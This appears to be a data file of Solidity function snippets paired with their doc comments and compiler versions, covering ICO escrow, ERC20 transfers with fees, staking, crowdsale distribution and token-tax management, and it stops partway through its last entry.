"/**\r\n \t * @notice Withdraw funds from the tokens contract\r\n \t */", "function_code": "function fundICO(uint256 _amount, uint8 _stage) public returns (bool) {\r\n\t\tif(nextStage !=_stage) {\r\n\t\t\terror('Escrow: ICO stage already funded');\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tif (msg.sender != addressSCICO || tx.origin != owner) {\r\n\t\t\terror('Escrow: not allowed to fund the ICO');\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tif (deposited[this]<_amount) {\r\n\t\t\terror('Escrow: not enough balance');\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tbool success = SCTokens.transfer(addressSCICO, _amount);\r\n\t\tif(success) {\r\n\t\t\tdeposited[this] = deposited[this].sub(_amount);\r\n\t\t\tnextStage++;\r\n\t\t\temit FundICO(addressSCICO, _amount);\r\n\t\t}\r\n\t\treturn success;\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n \t * @notice Send _amount amount of tokens to address _to\r\n \t */", "function_code": "function transfer(address _to, uint256 _amount) public notTimeLocked stopInEmergency returns (bool success) {\r\n\t\tif (balances[msg.sender] < _amount) {\r\n\t\t\terror('transfer: the amount to transfer is higher than your token balance');\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tif(!SCComplianceService.validate(msg.sender, _to, _amount)) {\r\n\t\t\terror('transfer: not allowed by the compliance service');\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tbalances[msg.sender] = balances[msg.sender].sub(_amount);\r\n\t\tbalances[_to] = balances[_to].add(_amount);\r\n\t\temit Transfer(msg.sender, _to, _amount); // Event log\r\n\r\n\t\treturn true;\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n \t * @notice Send _amount amount of tokens from address _from to address _to\r\n \t * @notice The transferFrom method is used for a withdraw workflow, allowing contracts to send \r\n \t * @notice tokens on your behalf, for example to \"deposit\" to a contract address and/or to charge \r\n \t * @notice fees in sub-currencies; the command should fail unless the _from account has \r\n \t * @notice deliberately authorized the sender of the message via some mechanism\r\n \t */", "function_code": "function transferFrom(address _from, address _to, uint256 _amount) public notTimeLocked stopInEmergency returns (bool success) {\r\n\t\tif (balances[_from] < _amount) {\r\n\t\t\terror('transferFrom: the amount to transfer is higher than the token balance of the source');\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tif (allowed[_from][msg.sender] < _amount) {\r\n\t\t\terror('transferFrom: the amount to transfer is higher than the maximum token transfer allowed by the source');\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tif(!SCComplianceService.validate(_from, _to, _amount)) {\r\n\t\t\terror('transfer: not allowed by the compliance service');\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tbalances[_from] = balances[_from].sub(_amount);\r\n\t\tbalances[_to] = balances[_to].add(_amount);\r\n\t\tallowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);\r\n\t\temit Transfer(_from, _to, _amount); // Event log\r\n\r\n\t\treturn true;\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n \t * @notice This is out of ERC20 standard but it is necessary to build market escrow contracts of assets\r\n \t * @notice Send _amount amount of tokens to from tx.origin to address _to\r\n \t */", "function_code": "function refundTokens(address _from, uint256 _amount) public notTimeLocked stopInEmergency returns (bool success) {\r\n if (tx.origin != _from) {\r\n error('refundTokens: tx.origin did not request the refund directly');\r\n return false;\r\n }\r\n\r\n if (addressSCICO != msg.sender) {\r\n error('refundTokens: caller is not the current ICO address');\r\n return false;\r\n }\r\n\r\n if (balances[_from] < _amount) {\r\n error('refundTokens: the amount to transfer is higher than your token balance');\r\n return false;\r\n }\r\n\r\n if(!SCComplianceService.validate(_from, addressSCICO, _amount)) {\r\n\t\t\terror('transfer: not allowed by the compliance service');\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tbalances[_from] = balances[_from].sub(_amount);\r\n\t\tbalances[addressSCICO] = balances[addressSCICO].add(_amount);\r\n\t\temit Transfer(_from, addressSCICO, _amount); // Event log\r\n\r\n\t\treturn true;\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n * @notice Deposit LP tokens to Factory for nasi allocation.\r\n */", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\r\n require(_pid <= poolCounter, 'Invalid pool id!');\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n updatePool(_pid);\r\n if (user.amountOfLpToken > 0) {\r\n uint256 pending = (user.amountOfLpToken.mul(pool.accumulatedNasiPerShare).sub(user.rewardDebt)).div(1e12);\r\n if(pending > 0) {\r\n _safeNasiTransfer(msg.sender, pending);\r\n }\r\n }\r\n IERC20(pool.lpTokenAddress).safeTransferFrom(address(msg.sender), address(this), _amount);\r\n user.amountOfLpToken = user.amountOfLpToken.add(_amount);\r\n user.rewardDebt = user.amountOfLpToken.mul(pool.accumulatedNasiPerShare);\r\n emit Deposit(msg.sender, _pid, _amount);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @notice Get the bonus multiply ratio at the initial time.\r\n */", "function_code": "function getBonusMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {\r\n uint256 week1 = _from <= endBlockWeek1 && _to > startBlock ? (Math.min(_to, endBlockWeek1) - Math.max(_from, startBlock)).mul(16) : 0;\r\n uint256 week2 = _from <= endBlockWeek2 && _to > endBlockWeek1 ? (Math.min(_to, endBlockWeek2) - Math.max(_from, endBlockWeek1)).mul(8) : 0;\r\n uint256 week3 = _from <= endBlockWeek3 && _to > endBlockWeek2 ? (Math.min(_to, endBlockWeek3) - Math.max(_from, endBlockWeek2)).mul(4) : 0;\r\n uint256 week4 = _from <= endBlockWeek4 && _to > endBlockWeek3 ? (Math.min(_to, endBlockWeek4) - Math.max(_from, endBlockWeek3)).mul(2) : 0;\r\n uint256 end = _from <= endBlock && _to > endBlockWeek4 ? (Math.min(_to, endBlock) - Math.max(_from, endBlockWeek4)) : 0;\r\n\r\n return week1.add(week2).add(week3).add(week4).add(end);\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @notice Withdraw LP tokens from Factory\r\n */", "function_code": "function withdraw(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n require(user.amountOfLpToken >= _amount, \"Not enough funds!\");\r\n updatePool(_pid);\r\n uint256 pending = (user.amountOfLpToken.mul(pool.accumulatedNasiPerShare).sub(user.rewardDebt)).div(1e12);\r\n _safeNasiTransfer(msg.sender, pending);\r\n user.amountOfLpToken = user.amountOfLpToken.sub(_amount);\r\n user.rewardDebt = user.amountOfLpToken.mul(pool.accumulatedNasiPerShare);\r\n IERC20(pool.lpTokenAddress).safeTransfer(address(msg.sender), _amount);\r\n emit Withdraw(msg.sender, _pid, _amount);\r\n }", "version": "0.5.14"} {"comment": "/*****\r\n * @dev Called by the owner of the contract to close the Sale and redistribute any crumbs.\r\n * @param recipient address The address of the recipient of the tokens\r\n */", "function_code": "function closeSale (address recipient) public onlyOwner {\r\n state = SaleState.Closed;\r\n LogStateChange(state);\r\n\r\n // redistribute unsold tokens to DADI ecosystem\r\n uint256 remaining = getTokensAvailable();\r\n updateSaleParameters(remaining);\r\n\r\n if (remaining > 0) {\r\n token.transfer(recipient, remaining);\r\n LogRedistributeTokens(recipient, state, remaining);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/*****\r\n * @dev Called by the owner of the contract to distribute tokens to investors\r\n * @param _address address The address of the investor for which to distribute tokens\r\n * @return success bool Returns true if executed successfully\r\n */", "function_code": "function distributeTokens (address _address) public onlyOwner returns (bool) {\r\n require(state == SaleState.TokenDistribution);\r\n \r\n // get the tokens available for the investor\r\n uint256 tokens = investors[_address].tokens;\r\n require(tokens > 0);\r\n\r\n require(investors[_address].distributed == false);\r\n\r\n investors[_address].distributed = true;\r\n\r\n token.transfer(_address, tokens);\r\n \r\n LogTokenDistribution(_address, tokens);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/*****\r\n * @dev Called by the owner of the contract to distribute tokens to investors who used a non-ERC20 wallet address\r\n * @param _purchaseAddress address The address the investor used to buy tokens\r\n * @param _tokenAddress address The address to send the tokens to\r\n * @return success bool Returns true if executed successfully\r\n */", "function_code": "function distributeToAlternateAddress (address _purchaseAddress, address _tokenAddress) public onlyOwner returns (bool) {\r\n require(state == SaleState.TokenDistribution);\r\n \r\n // get the tokens available for the investor\r\n uint256 tokens = investors[_purchaseAddress].tokens;\r\n require(tokens > 0);\r\n\r\n require(investors[_purchaseAddress].distributed == false);\r\n investors[_purchaseAddress].distributed = true;\r\n\r\n token.transfer(_tokenAddress, tokens);\r\n \r\n LogTokenDistribution(_tokenAddress, tokens);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/*****\r\n * @dev Called by the owner of the contract to redistribute tokens if an investor has been refunded offline\r\n * @param investorAddress address The address the investor used to buy tokens\r\n * @param recipient address The address to send the tokens to\r\n */", "function_code": "function redistributeTokens (address investorAddress, address recipient) public onlyOwner {\r\n uint256 tokens = investors[investorAddress].tokens;\r\n require(tokens > 0);\r\n \r\n // remove tokens, so they can't be redistributed\r\n require(investors[investorAddress].distributed == false);\r\n\r\n investors[investorAddress].distributed = true;\r\n\r\n token.transfer(recipient, tokens);\r\n\r\n LogRedistributeTokens(recipient, state, tokens);\r\n }", "version": "0.4.18"} {"comment": "/*****\r\n * @dev Update a user's invested state\r\n * @param _address address the wallet address of the user\r\n * @param _value uint256 the amount contributed in this transaction\r\n * @param _tokens uint256 the number of tokens assigned in this transaction\r\n */", "function_code": "function addToInvestor(address _address, uint256 _value, uint256 _tokens) internal {\r\n // add the user to the investorIndex if this is their first contribution\r\n if (!isInvested(_address)) {\r\n investors[_address].index = investorIndex.push(_address) - 1;\r\n }\r\n \r\n investors[_address].tokens = investors[_address].tokens.add(_tokens);\r\n investors[_address].contribution = investors[_address].contribution.add(_value);\r\n }", "version": "0.4.18"} {"comment": "/*****\r\n * @dev Send ether to the presale collection wallets\r\n */", "function_code": "function forwardFunds (uint256 _value) internal {\r\n uint accountNumber;\r\n address account;\r\n\r\n // move funds to a random preSaleWallet\r\n if (saleWallets.length > 0) {\r\n accountNumber = getRandom(saleWallets.length) - 1;\r\n account = saleWallets[accountNumber];\r\n account.transfer(_value);\r\n LogFundTransfer(account, _value);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/*****\r\n * @dev Internal function to assign tokens to the contributor\r\n * @param _address address The address of the contributing investor\r\n * @param _value uint256 The amount invested \r\n * @return success bool Returns true if executed successfully\r\n */", "function_code": "function buyTokens (address _address, uint256 _value) internal returns (bool) {\r\n require(isValidContribution(_address, _value));\r\n\r\n uint256 boughtTokens = calculateTokens(_value);\r\n require(boughtTokens != 0);\r\n\r\n // if the number of tokens calculated for the given value is \r\n // greater than the tokens available, reject the payment\r\n if (boughtTokens >= getTokensAvailable()) {\r\n revert();\r\n }\r\n\r\n // update investor state\r\n addToInvestor(_address, _value, boughtTokens);\r\n\r\n LogTokenPurchase(msg.sender, _address, _value, boughtTokens);\r\n\r\n forwardFunds(_value);\r\n\r\n updateSaleParameters(boughtTokens);\r\n\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "// @notice AssetManagers can initiate a crowdfund for a new asset here\n// @dev the crowdsaleERC20 contract is granted rights to mint asset-tokens as it receives funding\n// @param (string) _assetURI = The location where information about the asset can be found\n// @param (bytes32) _modelID = The modelID of the asset that will be used in the crowdsale\n// @param (uint) _fundingLength = The number of seconds this crowdsale is to go on for until it fails\n// @param (uint) _amountToRaise = The amount of tokens required to raise for the crowdsale to be a success\n// @param (uint) _assetManagerPerc = The percentage of the total revenue which is to go to the AssetManager if asset is a success\n// @param (address) _fundingToken = The ERC20 token to be used to fund the crowdsale (Operator must accept this token as payment)", "function_code": "function createAssetOrderERC20(string _assetURI, string _ipfs, bytes32 _modelID, uint _fundingLength, uint _amountToRaise, uint _assetManagerPerc, uint _escrow, address _fundingToken, address _paymentToken)\r\n payable\r\n external\r\n {\r\n if(_paymentToken == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)){\r\n require(msg.value == _escrow);\r\n } else {\r\n require(msg.value == 0);\r\n }\r\n require(_amountToRaise >= 100, \"Crowdsale goal is too small\");\r\n require((_assetManagerPerc + database.uintStorage(keccak256(abi.encodePacked(\"platform.percentage\")))) < 100, \"Manager percent need to be less than 100\");\r\n require(database.addressStorage(keccak256(abi.encodePacked(\"model.operator\", _modelID))) != address(0), \"Model not set\");\r\n require(!database.boolStorage(keccak256(abi.encodePacked(\"asset.uri\", _assetURI))), \"Asset URI is not unique\"); //Check that asset URI is unique\r\n address assetAddress = minter.cloneToken(_assetURI, _fundingToken);\r\n require(setCrowdsaleValues(assetAddress, _fundingLength, _amountToRaise));\r\n require(setAssetValues(assetAddress, _assetURI, _ipfs, _modelID, msg.sender, _assetManagerPerc, _amountToRaise, _fundingToken));\r\n uint minEscrow = calculateEscrowERC20(_amountToRaise, msg.sender, _modelID, _fundingToken);\r\n require(lockEscrowERC20(msg.sender, assetAddress, _paymentToken, _fundingToken, _escrow, minEscrow));\r\n events.asset('Asset funding started', _assetURI, assetAddress, msg.sender);\r\n events.asset('New asset ipfs', _ipfs, assetAddress, msg.sender);\r\n }", "version": "0.4.24"} {"comment": "/** initializes the contract parameters */", "function_code": "function init(address _likeAddr) public onlyOwner {\r\n\t\trequire(like==address(0));\r\n\t\tlike = LikeCoinInterface(_likeAddr);\r\n\t\tcosts = [800 ether, 2000 ether, 5000 ether, 12000 ether, 25000 ether];\r\n\t\tsetFee(5);\r\n\t\tmaxArtworks = 1000;\r\n\t\tlastId = 1;\r\n\t\toldest = 0;\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n * @param _tokenAddress address of a HQX token contract\r\n * @param _bankAddress address for remain HQX tokens accumulation\r\n * @param _beneficiaryAddress accepted ETH go to this address\r\n * @param _tokenRate rate HQX per 1 ETH\r\n * @param _minBuyableAmount min ETH per each buy action (in ETH wei)\r\n * @param _maxTokensAmount ICO HQX capacity (in HQX wei)\r\n * @param _endDate the date when ICO will expire\r\n */", "function_code": "function ClaimableCrowdsale(\r\n address _tokenAddress,\r\n address _bankAddress,\r\n address _beneficiaryAddress,\r\n uint256 _tokenRate,\r\n uint256 _minBuyableAmount,\r\n uint256 _maxTokensAmount,\r\n uint256 _endDate\r\n ) {\r\n token = HoQuToken(_tokenAddress);\r\n\r\n bankAddress = _bankAddress;\r\n beneficiaryAddress = _beneficiaryAddress;\r\n\r\n tokenRate = _tokenRate;\r\n minBuyableAmount = _minBuyableAmount;\r\n maxTokensAmount = _maxTokensAmount;\r\n\r\n endDate = _endDate;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * Buy HQX. Tokens will be stored in contract until claim stage\r\n */", "function_code": "function buy() payable inProgress whenNotPaused {\r\n uint256 payAmount = msg.value;\r\n uint256 returnAmount = 0;\r\n\r\n // calculate token amount to be transfered to investor\r\n uint256 tokensAmount = tokenRate.mul(payAmount);\r\n \r\n if (issuedTokensAmount + tokensAmount > maxTokensAmount) {\r\n tokensAmount = maxTokensAmount.sub(issuedTokensAmount);\r\n payAmount = tokensAmount.div(tokenRate);\r\n returnAmount = msg.value.sub(payAmount);\r\n }\r\n \r\n issuedTokensAmount = issuedTokensAmount.add(tokensAmount);\r\n require (issuedTokensAmount <= maxTokensAmount);\r\n\r\n storeTokens(msg.sender, tokensAmount);\r\n TokenBought(msg.sender, tokensAmount, payAmount);\r\n\r\n beneficiaryAddress.transfer(payAmount);\r\n \r\n if (returnAmount > 0) {\r\n msg.sender.transfer(returnAmount);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Moves tokens `amount` from `sender` to `recipient` with fee applied.\r\n * @param sender Sender of tokens\r\n * @param recipient Receiver of tokens\r\n * @param amount Amount of tokens to be transferred, receiver gets amount - fee\r\n * @param feeRecipient Recipient of fee amount\r\n * @param feeAmount Fee amount to be send to feeRecipient\r\n * This is internal function is equivalent to {transfer}, and can be used to\r\n * e.g. implement automatic token fees, slashing mechanisms, etc.\r\n *\r\n * Emits a {Transfer} event.\r\n *\r\n * Requirements:\r\n *\r\n * - `sender` cannot be the zero address.\r\n * - `recipient` cannot be the zero address.\r\n * - `sender` must have a balance of at least `amount`.\r\n */", "function_code": "function _transferWithFee(\r\n address sender,\r\n address recipient,\r\n uint256 amount,\r\n address feeRecipient,\r\n uint256 feeAmount\r\n ) internal virtual {\r\n require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\r\n\r\n _beforeTokenTransfer(sender, recipient, amount);\r\n _beforeTokenTransfer(sender, feeRecipient, feeAmount);\r\n\r\n uint256 senderBalance = _balances[sender];\r\n require(\r\n senderBalance >= amount,\r\n \"ERC20: transfer amount exceeds balance\"\r\n );\r\n\r\n _balances[sender] = senderBalance - amount;\r\n _balances[recipient] += (amount - feeAmount);\r\n _balances[feeRecipient] += feeAmount;\r\n\r\n emit Transfer(sender, recipient, amount - feeAmount);\r\n emit Transfer(sender, feeRecipient, feeAmount);\r\n }", "version": "0.8.3"} {"comment": "/**\r\n * @dev Modified transfer function to include transfer with fee\r\n * @param recipient Receiver of tokens\r\n * @param amount Amount of tokens to send in total (including fee)\r\n */", "function_code": "function transfer(address recipient, uint256 amount)\r\n public\r\n override\r\n returns (bool)\r\n {\r\n //do not apply fees when sender or recipient are feeless\r\n if (feelessSender[msg.sender] || feelessRecipient[recipient]) {\r\n _transfer(_msgSender(), recipient, amount);\r\n } else {\r\n uint256 fee = (amount * feePercentage) / 1000;\r\n\r\n _transferWithFee(_msgSender(), recipient, amount, feeReceiver, fee);\r\n }\r\n\r\n return true;\r\n }", "version": "0.8.3"} {"comment": "// delete token holder", "function_code": "function _delHolder(address _holder) internal returns (bool){\r\n uint id = holdersId[_holder];\r\n if (id != 0 && holdersCount > 0) {\r\n //replace with last\r\n holders[id] = holders[holdersCount];\r\n // delete Holder element\r\n delete holdersId[_holder];\r\n //delete last id and decrease count\r\n delete holders[holdersCount--];\r\n emit DelHolder(_holder);\r\n emit UpdHolder(holders[id], id);\r\n return true;\r\n }\r\n return false;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev internal transfer function\r\n */", "function_code": "function _transfer(address _from, address _to, uint _value) internal returns (bool){\r\n require(_to != address(0));\r\n require(_value > 0);\r\n require(balances[_from] >= _value);\r\n\r\n // SafeMath.sub will throw if there is not enough balance.\r\n balances[_from] = balances[_from].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n emit Transfer(_from, _to, _value);\r\n\r\n _addHolder(_to);\r\n if (balances[_from] == 0) {\r\n _delHolder(_from);\r\n }\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "// Mint new tokens to the specified address and token amount", "function_code": "function mintToken(address _account, uint256 _count) external onlyLogic {\n require(_account != address(0), \"Invalid Address\");\n require(_maxSupply >= totalSupply() + _count, \"All Tokens Have Been Minted\");\n\n for (uint8 i = 0; i < _count; i++) {\n uint256 tokenId = _getNextTokenId();\n _mint(_account, tokenId);\n _incrementTokenId();\n }\n }", "version": "0.8.7"} {"comment": "// TransferFrom Token with timelocks", "function_code": "function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public\r\n\t validAddress(_from) validAddress(_to) returns (bool success) {\r\n require(_value.length == _time.length);\r\n\r\n if (lockNum[_from] > 0) calcUnlock(_from);\r\n uint256 i = 0;\r\n uint256 totalValue = 0;\r\n while (i < _value.length) {\r\n totalValue = add(totalValue, _value[i]);\r\n i++;\r\n }\r\n require(balanceP[_from] >= totalValue && totalValue >= 0 && _allowance[_from][msg.sender] >= totalValue);\r\n require(add(lockNum[_from], _time.length) <= 42);\r\n i = 0;\r\n while (i < _time.length) {\r\n if (_value[i] > 0) {\r\n balanceP[_from] = sub(balanceP[_from], _value[i]);\r\n _allowance[_from][msg.sender] = sub(_allowance[_from][msg.sender], _value[i]);\r\n lockTime[_to].length = lockNum[_to]+1;\r\n lockValue[_to].length = lockNum[_to]+1;\r\n lockTime[_to][lockNum[_to]] = sub(add(add(now, _time[i]), earlier), later);\r\n lockValue[_to][lockNum[_to]] = _value[i];\r\n lockNum[_to]++;\r\n }\r\n\r\n // emit custom TransferLocked event\r\n emit TransferLocked(_from, _to, _time[i], _value[i]);\r\n\r\n // emit standard Transfer event for wallets\r\n emit Transfer(_from, _to, _value[i]);\r\n\r\n i++;\r\n }\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// owner may burn own token", "function_code": "function burn(uint256 _value) public onlyOwner returns (bool _success) {\r\n if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);\r\n require(balanceP[msg.sender] >= _value && _value >= 0);\r\n balanceP[msg.sender] = sub(balanceP[msg.sender], _value);\r\n _totalSupply = sub(_totalSupply, _value);\r\n emit Burn(msg.sender, _value);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/// We don't need to use respectTimeFrame modifier here as we do for ETH contributions,\n/// because foreign transaction can came with a delay thus it's a problem of outer server to manage time.\n/// @param _buyer - ETH address of buyer where we will send tokens to.", "function_code": "function externalSale(address _buyer, uint256 _amountInUsd, uint256 _tokensSoldNoDecimals, uint256 _unixTs)\r\n ifNotPaused canNotify {\r\n\r\n if (_buyer == 0 || _amountInUsd == 0 || _tokensSoldNoDecimals == 0) throw;\r\n if (_unixTs == 0 || _unixTs > getNow()) throw; // Cannot accept timestamp of a sale from the future.\r\n\r\n // If this foreign transaction has been already processed in this contract.\r\n if (externalSales[_buyer][_unixTs] > 0) throw;\r\n\r\n totalInCents = safeAdd(totalInCents, safeMul(_amountInUsd, 100));\r\n if (totalInCents > maxCapInCents) throw; // If max cap reached.\r\n\r\n uint256 tokensSold = safeMul(_tokensSoldNoDecimals, 1e18);\r\n if (!token.sell(_buyer, tokensSold)) throw; // Transfer tokens to buyer.\r\n\r\n totalTokensSold = safeAdd(totalTokensSold, tokensSold);\r\n totalExternalSales++;\r\n\r\n externalSales[_buyer][_unixTs] = tokensSold;\r\n ExternalSale(_buyer, _amountInUsd, tokensSold, _unixTs);\r\n }", "version": "0.4.16"} {"comment": "/*\n * @dev Deposits desiredAmount into YF contract and creates NFTs for principal and reward\n * @param desiredAmount Desired stake amount\n * @param interval Lock time interval (in seconds)\n */", "function_code": "function stake(uint256 desiredAmount, uint256 interval) external override nonReentrant {\n require(desiredAmount > 0, 'INVALID_DESIRED_AMOUNT');\n require(interval >= minLockTime, 'INVALID_MIN_INTERVAL');\n require(interval <= maxLockTime, 'INVALID_MAX_INTERVAL');\n\n // compute reward\n (uint256 stakedAmount, uint256 reward) = _computeReward(desiredAmount, interval);\n require(stakedAmount > 0, 'INVALID_STAKE_AMOUNT');\n require(poolToken.transferFrom(msg.sender, address(this), stakedAmount), 'TRANSFER_FAIL');\n\n rewardPool = rewardPool - reward;\n reservedPool = reservedPool + reward;\n\n // mint NFT for staked amount\n uint256 stakedAmountTokenId = _mintNft(\n address(poolToken),\n stakedAmount,\n interval,\n NftTypes.principal\n );\n\n // mint NFT for reword\n uint256 rewardTokenId = _mintNft(address(rewardToken), reward, interval, NftTypes.bonus);\n\n emit StakeEvent(\n msg.sender,\n stakedAmountTokenId,\n rewardTokenId,\n stakedAmount,\n interval,\n reward\n );\n }", "version": "0.8.4"} {"comment": "/*\n * @dev Burns the nft with the given _tokenId and sets `claimed` true\n */", "function_code": "function claim(uint256 _tokenId) external override nonReentrant {\n require(nftMetadata[_tokenId].token != address(0), 'INVALID_TOKEN_ID');\n require(nftMetadata[_tokenId].claimed == false, 'ALREADY_CLAIMED');\n require(block.timestamp >= nftMetadata[_tokenId].endTime, 'NFT_LOCKED');\n\n address owner = eqzYieldNft.ownerOf(_tokenId);\n\n nftMetadata[_tokenId].claimed = true;\n if (nftMetadata[_tokenId].nftType == NftTypes.bonus) {\n reservedPool = reservedPool - nftMetadata[_tokenId].amount;\n }\n\n eqzYieldNft.burn(_tokenId);\n require(\n IERC20(nftMetadata[_tokenId].token).transfer(owner, nftMetadata[_tokenId].amount),\n 'TRANSFER_FAIL'\n );\n\n emit ClaimEvent(owner, _tokenId, nftMetadata[_tokenId].amount);\n }", "version": "0.8.4"} {"comment": "/*\n * @dev Returns stakedAmount and reward\n * maxStaked = rewardPool / [multiplier * (interval / maxLockTime)^2]\n * reward = multiplier * stakeAmount * (interval / maxLockInterval)^2\n */", "function_code": "function _computeReward(uint256 desiredAmount, uint256 interval)\n internal\n view\n returns (uint256 stakeAmount, uint256 rewardAmount)\n {\n uint256 maxStaked = _getMaxStake(interval);\n stakeAmount = desiredAmount;\n if (stakeAmount > maxStaked) {\n stakeAmount = maxStaked;\n }\n rewardAmount = _getRewardAmount(stakeAmount, interval);\n }", "version": "0.8.4"} {"comment": "/*\n * @dev Mint eqzYieldNft to sender, creates and adds nft metadata\n */", "function_code": "function _mintNft(\n address tokenAddress,\n uint256 amount,\n uint256 interval,\n NftTypes nftType\n ) internal returns (uint256) {\n tokenId++;\n uint256 currentTokenId = tokenId;\n eqzYieldNft.mint(msg.sender, currentTokenId);\n nftMetadata[currentTokenId] = NFTMetadata(\n tokenAddress,\n amount,\n block.timestamp,\n block.timestamp + interval,\n false,\n nftType\n );\n return currentTokenId;\n }", "version": "0.8.4"} {"comment": "// SIP-75 Public keeper function to freeze a pynth that is out of bounds", "function_code": "function freezeRate(bytes32 currencyKey) external {\n InversePricing storage inverse = inversePricing[currencyKey];\n require(inverse.entryPoint > 0, \"Cannot freeze non-inverse rate\");\n require(!inverse.frozenAtUpperLimit && !inverse.frozenAtLowerLimit, \"The rate is already frozen\");\n\n uint rate = _getRate(currencyKey);\n\n if (rate > 0 && (rate >= inverse.upperLimit || rate <= inverse.lowerLimit)) {\n inverse.frozenAtUpperLimit = (rate == inverse.upperLimit);\n inverse.frozenAtLowerLimit = (rate == inverse.lowerLimit);\n uint currentRoundId = _getCurrentRoundId(currencyKey);\n roundFrozen[currencyKey] = currentRoundId;\n emit InversePriceFrozen(currencyKey, rate, currentRoundId, msg.sender);\n } else {\n revert(\"Rate within bounds\");\n }\n }", "version": "0.5.16"} {"comment": "// SIP-75 View to determine if freezeRate can be called safely", "function_code": "function canFreezeRate(bytes32 currencyKey) external view returns (bool) {\n InversePricing memory inverse = inversePricing[currencyKey];\n if (inverse.entryPoint == 0 || inverse.frozenAtUpperLimit || inverse.frozenAtLowerLimit) {\n return false;\n } else {\n uint rate = _getRate(currencyKey);\n return (rate > 0 && (rate >= inverse.upperLimit || rate <= inverse.lowerLimit));\n }\n }", "version": "0.5.16"} {"comment": "/**\r\n * @notice overrides ERC20 transferFrom function to introduce tax functionality\r\n * @param from address amount is coming from\r\n * @param to address amount is going to\r\n * @param amount amount being sent\r\n */", "function_code": "function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {\r\n address spender = _msgSender();\r\n _spendAllowance(from, spender, amount);\r\n require(balanceOf(from) >= amount, \"ERC20: transfer amount exceeds balance\");\r\n if(_taxActive && !_whitelisted[from] && !_whitelisted[to]) {\r\n uint256 tax = amount *_taxTotal / _taxPercision;\r\n amount = amount - tax;\r\n _transfer(from, address(this), tax);\r\n }\r\n _transfer(from, to, amount);\r\n return true;\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @notice : overrides ERC20 transfer function to introduce tax functionality\r\n * @param to address amount is going to\r\n * @param amount amount being sent\r\n */", "function_code": "function transfer(address to, uint256 amount) public virtual override returns (bool) {\r\n address owner = _msgSender();\r\n require(balanceOf(owner) >= amount, \"ERC20: transfer amount exceeds balance\");\r\n if(_taxActive && !_whitelisted[owner] && !_whitelisted[to]) {\r\n uint256 tax = amount*_taxTotal/_taxPercision;\r\n amount = amount - tax;\r\n _transfer(owner, address(this), tax);\r\n }\r\n _transfer(owner, to, amount);\r\n return true;\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @notice : adds address with tax amount to taxable addresses list\r\n * @param wallet address to add\r\n * @param _tax tax amount this address receives\r\n */", "function_code": "function addTaxRecipient(address wallet, uint16 _tax) external onlyOwner {\r\n require(_taxRecipients.length < 100, \"Reached maximum number of tax addresses\");\r\n require(wallet != address(0), \"Cannot add 0 address\");\r\n require(!_isTaxRecipient[wallet], \"Recipient already added\");\r\n require(_tax > 0 && _tax + _taxTotal <= _taxPercision/10, \"Total tax amount must be between 0 and 10%\");\r\n\r\n _isTaxRecipient[wallet] = true;\r\n _taxRecipients.push(wallet);\r\n _taxRecipientAmounts[wallet] = _tax;\r\n _taxTotal = _taxTotal + _tax;\r\n emit AddTaxRecipient(wallet, _tax);\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @notice : updates address tax amount\r\n * @param wallet address to update\r\n * @param newTax new tax amount\r\n */", "function_code": "function updateTaxPercentage(address wallet, uint16 newTax) external onlyOwner {\r\n require(wallet != address(0), \"Cannot add 0 address\");\r\n require(_isTaxRecipient[wallet], \"Not a tax address\");\r\n\r\n uint16 currentTax = _taxRecipientAmounts[wallet];\r\n require(currentTax != newTax, \"Tax already this amount for this address\");\r\n\r\n if(currentTax < newTax) {\r\n uint16 diff = newTax - currentTax;\r\n require(_taxTotal + diff <= 10000, \"Tax amount too high for current tax rate\");\r\n _taxTotal = _taxTotal + diff;\r\n } else {\r\n uint16 diff = currentTax - newTax;\r\n _taxTotal = _taxTotal - diff;\r\n }\r\n _taxRecipientAmounts[wallet] = newTax;\r\n emit UpdateTaxPercentage(wallet, newTax);\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @notice : remove address from taxed list\r\n * @param wallet address to remove\r\n */", "function_code": "function removeTaxRecipient(address wallet) external onlyOwner {\r\n require(wallet != address(0), \"Cannot add 0 